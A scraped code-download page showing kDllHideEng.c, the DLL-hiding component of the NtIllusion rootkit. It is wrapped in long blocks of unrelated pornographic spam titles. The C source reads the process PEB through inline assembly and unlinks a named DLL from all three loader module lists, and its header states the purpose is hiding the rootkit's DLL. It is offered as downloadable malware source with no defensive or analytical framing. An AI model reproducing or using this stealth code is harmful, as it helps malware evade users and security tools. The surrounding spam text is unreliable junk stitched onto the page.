亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? kdllhideeng.c

?? rootit uloading by benina
?? C
字號:
/******************************************************************************
  kDllHideEng.h : Dll hiding engine
  This is used to hide rootkit's dll among current process address space
  *****************************************************************************
  Author		: Kdm (Kodmaker@syshell.org)
  WebSite		: http://www.syshell.org

  Copyright (C) 2003,2004 Kdm
  *****************************************************************************
  This file is part of NtIllusion.

  NtIllusion is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  NtIllusion is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with NtIllusion; if not, write to the Free Software
  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  ******************************************************************************/

#include <windows.h>
#include "kDllHideEng.h"
#include "kPEBStruct.h"

int HideDll(char *szDllName)
{
	return (	WalkModuleList(LOAD_ORDER_TYPE, szDllName)
			&&	WalkModuleList(MEM_ORDER_TYPE, szDllName)
			&&	WalkModuleList(INIT_ORDER_TYPE, szDllName)	);
}

// Call GetPEB(0) to get PEB base address for current process
DWORD GetPEB(DWORD Pid)
{
	DWORD* dwPebBase = FUNC_ERROR;
	if(!Pid)
	{
		// Return PEB address for current process
		// address is located at FS:0x30
		__asm 
		{
			push eax
			mov eax, FS:[0x30]
			mov [dwPebBase], eax
			pop eax
		}
	}
/*	else
	{
		// Return PEB address for process whose pid matches Pid
		// Todo : use NtQueryInformationProcess
		//dwPebBase = ; ....
		
	}
*/
	return (DWORD)dwPebBase;
}

// Walks one of the three modules double linked lists referenced by the PEB
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
	int i;
	DWORD PebBaseAddr, dwOffset=0;
	PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;
	PPEB_LDR_DATA pLdrData;
	PUNICODE_STRING pImageName;
	char szImageName[BUFMAXLEN]; // Non-unicode string
	
	PebBaseAddr = GetPEB(0);
	if(PebBaseAddr == FUNC_ERROR)
		return FUNC_ERROR;
	pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr + PEB_LDR_DATA_OFFSET)); // PEB.ProcessModuleInfo = PEB + 0x0C
	if(!pLdrData->Initialized) 
		return FUNC_ERROR;

	// Init chained list head and offset
	if(ModuleListType == LOAD_ORDER_TYPE)
	{
		// LOAD_ORDER_TYPE
		pUserModuleListHead = pUserModuleListPtr = (PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
		dwOffset = 0x0;
	} else if(ModuleListType == MEM_ORDER_TYPE)
	{
		// MEM_ORDER_TYPE
		pUserModuleListHead = pUserModuleListPtr = (PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
		dwOffset = 0x08;
	} else if(ModuleListType == INIT_ORDER_TYPE)
	{
		// INIT_ORDER_TYPE
		pUserModuleListHead = pUserModuleListPtr = (PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
		dwOffset = 0x10;
	}
	else return FUNC_ERROR;
	
	do
	{
		// Jump to next MODULE_ITEM structure
		pUserModuleListPtr = pUserModuleListPtr->Flink;
		pImageName = (PUNICODE_STRING)( ((DWORD)(pUserModuleListPtr)) + (LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

        //Convert string from unicode and to lower case :
		for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++) 
              szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
		szImageName[i] = '\0';
		// Image name may be sent to debugger here.

		if( strstr((char*)szImageName, szDllToStrip) != 0 )
		{
			// Hide this dll :
			// throw this module away (out of the double linked list)
           (pUserModuleListPtr->Blink)->Flink = (pUserModuleListPtr->Flink);
           (pUserModuleListPtr->Flink)->Blink = (pUserModuleListPtr->Blink);
		   // Here we may also overwrite memory to prevent recovering (paranoid only ;p)
		}
	}	while(pUserModuleListPtr->Flink != pUserModuleListHead); 

	return FUNC_SUCCESS;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
精品一区二区三区在线观看| 亚洲欧洲精品一区二区精品久久久 | 99re8在线精品视频免费播放| 裸体健美xxxx欧美裸体表演| 日本人妖一区二区| 蜜桃传媒麻豆第一区在线观看| 日韩精品一级中文字幕精品视频免费观看 | 日本伊人色综合网| 美女脱光内衣内裤视频久久影院| 日韩和欧美一区二区三区| 日产欧产美韩系列久久99| 国内外成人在线| 成人免费毛片app| 白白色 亚洲乱淫| 欧美日韩精品一区二区三区蜜桃| 欧美精品 国产精品| 日韩精品资源二区在线| 中文字幕精品在线不卡| 一区二区高清视频在线观看| 天天色天天操综合| 国产乱码精品一区二区三区av | 911精品国产一区二区在线| 欧美高清www午色夜在线视频| 日韩欧美国产三级电影视频| 欧美激情一区二区在线| 一区二区三区欧美在线观看| 水蜜桃久久夜色精品一区的特点 | 婷婷夜色潮精品综合在线| 麻豆91在线播放免费| 成人综合婷婷国产精品久久免费| 欧美在线一区二区| 久久久欧美精品sm网站| 亚洲人成影院在线观看| 精品亚洲免费视频| 91一区二区三区在线播放| 欧美一级二级在线观看| 国产精品国产三级国产普通话三级 | 精品国产免费一区二区三区四区| 日韩一区中文字幕| 另类小说综合欧美亚洲| 99精品1区2区| 精品久久久久久无| 亚洲制服欧美中文字幕中文字幕| 国内精品伊人久久久久av一坑| 欧美午夜片在线观看| 国产亚洲一区二区三区四区| 中文文精品字幕一区二区| 日本成人在线电影网| 色婷婷综合激情| 国产精品午夜春色av| 免费三级欧美电影| 欧美在线视频不卡| 综合久久久久综合| 国产美女视频一区| 欧美一区二区播放| 亚洲一二三级电影| 色久综合一二码| 欧美激情一区二区三区不卡| 老汉av免费一区二区三区| 欧美片网站yy| 亚洲国产综合色| 欧美性大战久久久久久久蜜臀| 国产精品无人区| 国产精品自拍毛片| 精品国产乱码久久久久久免费| 秋霞午夜鲁丝一区二区老狼| 欧美日韩精品免费| 亚洲影视在线播放| 欧美日韩在线一区二区| 一区二区在线观看av| 国产亚洲一二三区| 一区二区视频在线| 97se亚洲国产综合自在线不卡| 久久蜜桃一区二区| 国产伦精品一区二区三区在线观看| 欧美一区二区黄| 久久99精品久久久久久| 精品国产一区二区在线观看| 激情深爱一区二区| 欧美韩日一区二区三区四区| 成人性生交大片免费看中文| 国产日产精品一区| 不卡视频免费播放| 亚洲精品中文字幕乱码三区| 在线观看亚洲一区| 日本亚洲三级在线| 久久精品男人的天堂| 成人动漫一区二区三区| 一区二区视频在线| 欧美一区欧美二区| 国产精品影视在线| 亚洲精品免费电影| 欧美一区二区国产| 成人小视频免费观看| 亚洲码国产岛国毛片在线| 欧美日韩国产一区| 国产一区二区看久久| 国产精品久久久久一区| 欧美日韩另类一区| 777色狠狠一区二区三区| 国产精品久久毛片av大全日韩| av一区二区不卡| 日韩国产精品久久久| 久久久欧美精品sm网站| 欧美性欧美巨大黑白大战| 捆绑紧缚一区二区三区视频| 国产精品国产馆在线真实露脸| 欧美午夜视频网站| 国产成人在线观看| 午夜精品久久久久久久蜜桃app| 精品免费日韩av| 欧美在线|欧美| 国产成人精品一区二区三区四区| 亚洲精品国产一区二区精华液 | 国产一区二区三区黄视频| 亚洲欧洲日产国码二区| 日韩女优制服丝袜电影| 色综合久久综合网欧美综合网| 免费在线一区观看| 亚洲免费观看视频| 久久九九全国免费| 日韩一级大片在线观看| 91免费观看在线| 国产成人av自拍| 人人爽香蕉精品| 亚洲大片一区二区三区| 国产精品乱码一区二区三区软件 | 老司机免费视频一区二区| 日韩毛片精品高清免费| 久久这里只有精品首页| 在线精品视频小说1| 丁香另类激情小说| 久久国内精品自在自线400部| 亚洲制服丝袜av| 亚洲视频香蕉人妖| 国产午夜精品一区二区三区视频 | 国产精品视频线看| 精品国产第一区二区三区观看体验 | 欧美一区二区三区四区五区| 色综合视频在线观看| 成人免费三级在线| 国产精品一区二区无线| 国模一区二区三区白浆| 久久99国产精品免费| 麻豆精品一区二区综合av| 日韩国产欧美在线观看| 欧美bbbbb| 久久99精品国产麻豆婷婷| 美国十次了思思久久精品导航| 日本亚洲最大的色成网站www| 午夜精品成人在线| 亚洲成人av电影在线| 亚洲国产精品一区二区久久恐怖片 | 91视视频在线直接观看在线看网页在线看| 国产真实乱对白精彩久久| 黑人巨大精品欧美一区| 国产综合久久久久影院| 国产福利精品导航| 成人激情小说网站| 91论坛在线播放| 在线观看免费一区| 欧美一区二区在线免费播放| 在线91免费看| 久久精品欧美一区二区三区麻豆| 国产色产综合色产在线视频| 国产精品情趣视频| 亚洲色图欧洲色图婷婷| 亚洲成人精品在线观看| 日韩精品1区2区3区| 国产精品自拍网站| 色综合久久久久综合体| 欧美精品黑人性xxxx| 国产精品久久国产精麻豆99网站| 国产午夜精品在线观看| 一区二区三区日韩在线观看| 亚州成人在线电影| 国产在线不卡一区| 色综合咪咪久久| 精品国产乱码久久久久久夜甘婷婷 | 波多野结衣中文字幕一区| 色素色在线综合| 精品日韩在线一区| 亚洲少妇最新在线视频| 日韩精品一区第一页| 成人免费视频免费观看| 欧美久久久久中文字幕| 国产亚洲制服色| 午夜精品一区二区三区免费视频 | 成人免费观看av| 欧美精品精品一区| 国产精品嫩草久久久久| 日日夜夜一区二区| 从欧美一区二区三区| 欧美一区二区免费观在线| 中文字幕中文字幕中文字幕亚洲无线| 午夜视频一区二区三区| 成人18视频日本| 欧美电影免费观看完整版| 亚洲精品国产a| 成人免费va视频|